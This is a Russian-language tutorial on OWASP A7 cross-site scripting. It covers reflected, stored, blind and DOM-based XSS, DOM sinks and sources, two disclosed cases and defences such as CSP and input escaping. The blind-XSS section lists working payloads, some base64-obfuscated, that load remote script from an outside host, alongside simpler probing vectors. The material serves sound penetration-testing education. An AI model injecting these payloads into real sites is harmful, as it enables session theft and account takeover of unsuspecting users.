OWASP Top 10: A7 Межсайтовый скриптинг (XSS)
Этичный Хакер![](/file/ec245ed8bb816a0a9961a.png)
Введение
XSS - один из моих любимых типов уязвимостей из-за глубины и сложности. Все это кажется таким простым, но когда вы действительно вникаете в суть XSS, перед вами открывается удивительный мир для изучения. Помимо различных типов XSS (отражаемый, хранимый и DOM - слепой XSS - это еще одна форма хранимых XSS), существует также множество различных контекстов, которые большинство людей, похоже, полностью просматривают. Большинство курсов и статей, посвященных XSS, касаются только внедрения HTML, но это лишь малая часть того, что представляет собой XSS. Вот где действительно важна безопасность API, потому что любая защита интерфейса предназначена только для того, чтобы помешать пользователю совершать ошибки. На уровне API и сервера нам действительно нужно убедиться, что у нас есть фильтры.
A7: Межсайтовый скриптинг (XSS)
Агенты угроз / векторы атакСлабость системы безопасностиВоздействиеДля обнаружения подобных проблем можно использовать автоматические сканеры уязвимостей XSS, но всегда рекомендуется проводить ручное тестирование. Любой параметр, который отражается на странице или сохраняется, а затем извлекается, может представлять угрозу.XSS - это широко распространенная проблема, которая по сей день преследует веб-сайты и проекты. Автоматические сканеры упростили поиск этих уязвимостей, поскольку тестировщики больше не зависят от самостоятельного тестирования каждого параметра.Последствия могут варьироваться от простого всплывающего предупреждения без каких-либо реальных последствий (хотя это случается редко, чаще всего XSS может быть значительно повышен за пределы предупреждения.) до очень серьезной уязвимости при захвате учетной записи.
Что такое межсайтовый скриптинг (XSS)
Сначала нам нужно знать, почему возникает этот тип уязвимости, и мы можем заявить, что эта проблема может возникнуть везде, где разработчик берет пользовательский ввод и отображает его на странице без очистки этого ввода. Существует несколько способов очистки входных данных, из которых самым безопасным, но и наиболее ограничительным представляется фильтрация на основе белого списка.
Фильтрация на основе белого списка реализуется путем проверки каждого отдельного фрагмента пользовательского контента и разрешения его только в том случае, если этот пользовательский ввод определен в белом списке. Как вы можете видеть, это может быть очень громоздко, поскольку нам нужно определить каждый отдельный ввод, который мы хотим разрешить, что может привести к множеству непредвиденных проблем.
По этим причинам часто выбирается система фильтрации на основе черного списка, в которой входные данные фильтруются, если все или часть их попадает в черный список. Однако это намного менее безопасно, потому что, если разработчик забудет только 1 значение в черном списке, он может подвергнуться серьезным атакам.
![](https://assets.website-files.com/5ff66329429d880392f6cba2/613afbb3f677add6ebeb2123_Cross-Site%20Scripting%20(XSS)%20example.png)
Типы XSS-атак
Мы уже немного говорили о различных типах XSS, но я думаю, будет полезно, если мы подробно рассмотрим их, чтобы объяснить вам различия и показать, какого рода тестирование ожидается от вас как от этичного хакера, потому что мы также обсудим небольшие различия в целях тестирования между типамииз XSS.
Сохраненный (постоянный) XSS
Для успешного выполнения сохраненного XSS требуется немного больше знаний о программе, поскольку вам придется проверять каждое поле ввода, которое вы видите. Это ГИГАНТСКАЯ задача, и она кажется невыполнимой, но она обязательно нужна. В наградах за ошибки не будет низко висящих плодов. Все это уже будет собрано подчистую пентестерами. Наши замечательные сотрудники уже выполнили часть работы, и теперь дело за охотниками за головами - найти ту область, которую все упустили из виду в своих мерах безопасности.
Я использую тот же вектор атаки, что и всегда, и просто начинаю. Я включаю какую-нибудь музыку, регистрируюсь, и каждое отдельное поле ввода, которое я вижу, получает вектор атаки, брошенный на него. Убедитесь, что вы все протестировали. Посмотрите на каждую ссылку на каждой странице и на самом деле ищите скрытые ссылки. Вы часто можете найти их в файлах JS, потому что разработчики помещают тестируемые вызовы в файл JS и просто не вызывают его из производственного приложения, но оно все еще доступно. Обычно это мечта, поскольку мы можем протестировать такие вещи, как XSS, на страницах, которые другие охотники еще даже не видели.
![](https://assets.website-files.com/5ff66329429d880392f6cba2/613afbd23a32f5d2fc2b924e_Stored(Persistent)%20XSS.png)
Слепой XSS
Слепой XSS также является частью сохраненного XSS, когда мы пытаемся вставить вектор атаки, а третья сторона откроет этот вектор атаки через систему, к которой мы не можем получить доступ в обычных рабочих условиях. Это может быть, например, внутренний веб-сайт системы продажи билетов или чат-бот.
Для этого вам нужен внешний сервер. Я использую [https://xsshunter.com /](https://xsshunter.com /) Вы можете настроить свой собственный внешний сервер отсюда. Затем нам нужно создать вектор атаки, который будет вызывать обратный вызов нашего JS-скрипта.
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://js.thexssrat . com\';document.body.appendChild(a)')
Конечно, есть и другие полезные нагрузки, в зависимости от ситуации, но у меня есть их список.
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://js.thexssrat. com\';document.body.appendChild(a)') "><script src=https://js.thexssrat.com></script> "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus> "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))> "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7> "><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://js.thexssrat.com";parent.document.body.appendChild(a);</script>"> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//js.thexssrat.com");a.send();</script> <script>$.getScript("//js.thexssrat.com")</script>
Если я смогу, я просто подключу их всех к чат-боту или системе продажи билетов и буду надеяться на лучшее.
Отраженный XSS
На сегодняшний день это самый популярный тип XSS, и многие охотники и пентестеры сосредоточат свое внимание на нем, поскольку его легче всего протестировать. Вам не нужно знать приложение, все, что вам нужно сделать, это искать отраженные значения, что делает этот тип уязвимости немного менее полезным для меня. Я хотел бы познакомиться с моим приложением и найти все поля ввода, которые хранят данные в базе данных (которые будут храниться в XSS), но я, конечно, могу понять привлекательность здесь.
Для reflected XSS мы собираемся протестировать каждый отдельный параметр, введя случайное значение в этот параметр и посмотрев, отражено ли оно где-нибудь в ответе. Это может быть JS, HTML, DOM,...
'"><img src=x><b>RAT+IS+HERE_GIMME My attack vector
Когда мы находим отраженный параметр, у нас еще нет XSS. Все, что мы нашли, - это отраженное значение на нашей странице, но оно может быть правильно отфильтровано или очищено. Что нам нужно сейчас, так это увидеть, где это отражено, и создать подходящую строку атаки для этого контекста. Например, если вы застряли в контексте JS, где ваш ввод окружен одинарными кавычками, вам нужно будет найти способ вставить свою собственную одинарную кавычку в строку атаки (которая часто будет фильтроваться, поэтому вам придется попытаться обойти эти фильтры). Затем вам нужно будет создать правильную атаку, чтобы либо украсть данные, либо выполнить функцию, либо сделать что-то полезное. Помните, что всплывающее окно немного раздражает, но оно не оказывает реального влияния, поэтому, пожалуйста, не сообщайте просто о предупреждении (document.domain).
![](https://assets.website-files.com/5ff66329429d880392f6cba2/613afbf22ae9a2e291c42ce6_Reflected%20XSS.png)
XSS на основе DOM
Что такое DOM XSS? Чтобы ответить на этот вопрос, нам сначала нужно ответить, что такое DOM. Я не буду углубляться в эту тему, поскольку она может быть очень сложной и восходит к тому, как создаются веб-страницы. Технически вы даже не просматриваете DOM, если смотрите на исходный код веб-страницы, поскольку DOM возвращается на один шаг назад и описывает, как веб-страница создается на javascript, чтобы JS мог затем преобразовать этот DOM в объекты и манипулировать им. Для правильной проверки DOM это означает, что мы ** ДОЛЖНЫ ИСПОЛЬЗОВАТЬ КОНСОЛЬ РАЗРАБОТЧИКА, А НЕ ПРОВЕРЯТЬ ИСХОДНЫЙ КОД.**
Уязвимости DOM XSS обычно возникают, когда мы можем управлять вводом, который передается в DOM через так называемые "Источники DOM", которые затем передаются в "Приемник DOM", поддерживающий динамическое выполнение кода. Некоторыми примерами могут быть eval() , document.write(), ...
Так же, как XSS на основе исходного кода, с которым мы хорошо знакомы, DOM XSS также знает отраженные и сохраненные варианты, которые подчиняются тем же правилам, что и исходные XSS. Если переменная отражается из параметра GET или POST в один из этих приемников, мы говорим об отраженном DOM XSS. Если переменная исходит из значения, хранящегося в базе данных, мы говорим о хранимых DOM XSS.
Приемник DOM
Когда мы говорим о приемниках DOM, мы говорим о местах, где данные, контролируемые пользователем, будут поступать в DOM. Существует 3 типа приемников DOM, и мы рассмотрим их все.
- Приемник документов
someDOMElement.innerHTML
В этом примере мы обращаемся к innerHTML элемента в DOM. Это приемник документа, поскольку мы обращаемся к элементу в документе.
Очень важно отметить, что ваш обычный “<script>alert (1) </script>” не будет работать здесь, кроме нескольких других векторов атаки, потому что это вставка DOM, а не просто отражение значения. Когда мы говорим о вставке DOM. Это одна из причин, по которой дядя крыса всегда тестирует с
<img src=x onerror=confirm()>
Еще несколько примеров:
someDOMElement.innerHTML someDOMElement.outerHTML someDOMElement.insertAdjacentHTML document.write() document.writeln()
- Поиск местоположения
document.domain
В этом примере мы говорим с доменом. Свойство домена интерфейса документа получает / устанавливает доменную часть источника текущего документа. Это означает, что мы контролируем местоположение и разговариваем с приемником местоположения. В приемниках местоположения нам обычно приходится работать с псевдопротоколами javascript
пример псевдопротокола: (http://blabla.com/test?url=javascirpt:alert ())
Больше примеров приемников местоположения:
document.location window.location.assign() window.location.replace()
- Приемник выполнения
eval() setTimeout() setInterval() Function()
В приемнике выполнения у нас будет код javascript, обновляющий свой собственный код данными, которые мы, как злоумышленник, вводим в систему.
В реальной жизни вы редко найдете эти приемники незащищенными, вам часто приходится обходить некоторые тесты, которые проверяют, не вводите ли вы вредоносный код, но эти проверки обычно создаются разработчиком, поэтому, если в их логике есть ошибка, мы можем обойти эту проверку.
- Источник DOM
Источник - это свойство JavaScript, которое принимает данные, которые потенциально контролируются злоумышленником. Примером источника является свойство location.search, поскольку оно считывает входные данные из строки запроса, которую злоумышленнику относительно просто контролировать. В конечном счете, любое свойство, которым может управлять злоумышленник, является потенциальным источником. Сюда входят ссылающийся URL-адрес (предоставляемый строкой document.referrer), файлы cookie пользователя (предоставляемые строкой document.cookie) и веб-сообщения.
Общие источники:
document.URL document.documentURI document.URLUnencoded document.baseURI location document.cookie document.referrer window.name history.pushState history.replaceState localStorage sessionStorage
Сценарии и примеры атак с использованием межсайтовых сценариев (XSS)
Что касается сценариев атак, которые мы собираемся обсудить, мы начнем с CVE, который был обнаружен в августе 2021 года, что на момент написания статьи было совсем недавно. Рассматриваемый CVE - это “Уязвимость CVE-2021-38699 TastyIgniter 3.0.7 для хранения межсайтовых скриптов”. Этот CVE описывает сохраненный сценарий XSS с очень обманчиво простым вектором атаки ““><script> alert(1) </script> <script> alert(1) </script> ”. Этот вектор атаки, вставленный в конечные точки “/ account, /reservation, / admin / dashboard или / admin / system_logs”, приведет к появлению всплывающего окна. Может показаться, что это очень легко осуществить, но сложность заключается в поиске конечных точек, в которых есть подобные уязвимости.
Второй пример, о котором мы можем поговорить, - это сохраненная XSS-атака на известную поисковую систему под названием duckduckgo, которая была найдена случайно. XSS, описанный в этом раскрытом отчете, основан на том факте, что duckduckgo отображал векторы атаки XSS из результатов поиска, что привело к атаке XSS. Атака снова была очень простой, для запуска требовалась только полезная нагрузка "><img src=x onerror=alert()>. Автор обнаружил эту ошибку, выполнив поиск вектора атаки XSS в urban dictionary через duckduckgo. Что творилось в голове этого удивительного хакера, можно только догадываться. Полезной нагрузкой служили как заголовок, так и описание результатов поиска. Полный отчет можно найти здесь https://hackerone.com/reports/1110229 .
Как XSS влияет на бизнес
XSS может быть очень опасной уязвимостью, приводящей к всевозможным сбоям, начиная от порчи веб-сайта и заканчивая полным захватом учетных записей пользователей-администраторов. Такого рода атаки разрушительны для компании и могут нанести, как минимум, большой ущерб репутации. Необходимо будет устранить любые повреждения, которые могут привести к потере данных и денежным потерям.
Как предотвратить атаки XSS
Теперь, когда мы знаем, как происходят XSS-атаки и какое влияние они могут оказать, мы можем следовать нескольким ключевым рекомендациям, чтобы защититься от XSS-атак. Это не даст полной защиты XSS, нет ничего, что могло бы это сделать.
- Убедитесь, что вы хорошо используете SOP и не разрешаете нежелательные вызовы на другие неизвестные серверы.
- [https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#how_to_block_cross-origin_access](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#how_to_block_cross-origin_access)
- Убедитесь, что ваши заголовки CSP настроены правильно и что они не позволяют неизвестным доменам выполнять сценарии на вашем сервере
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#specifying_your_policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#specifying_your_policy)
- Убедитесь, что вы очистили пользовательский ввод. Посмотрите, как это сделать на языке, который вы используете.
- PHP: специальные символы htmlspecialchars (ввод)
- Python: cgi.escape("вредоносный код здесь"), см.: [http://docs.python.org/library/cgi.html#cgi.escape](http://docs.python.org/library/cgi.html#cgi.escape)
- aspx: [https://docs.microsoft.com/en-us/aspnet/core/security/cross-site-scripting?view=aspnetcore-5.0](https://docs.microsoft.com/en-us/aspnet/core/security/cross-site-scripting?view=aspnetcore-5.0)
- Всегда помечайте важные файлы cookie флагом HttpOnly. Это предотвратит доступ любого JS к значениям в этих файлах cookie.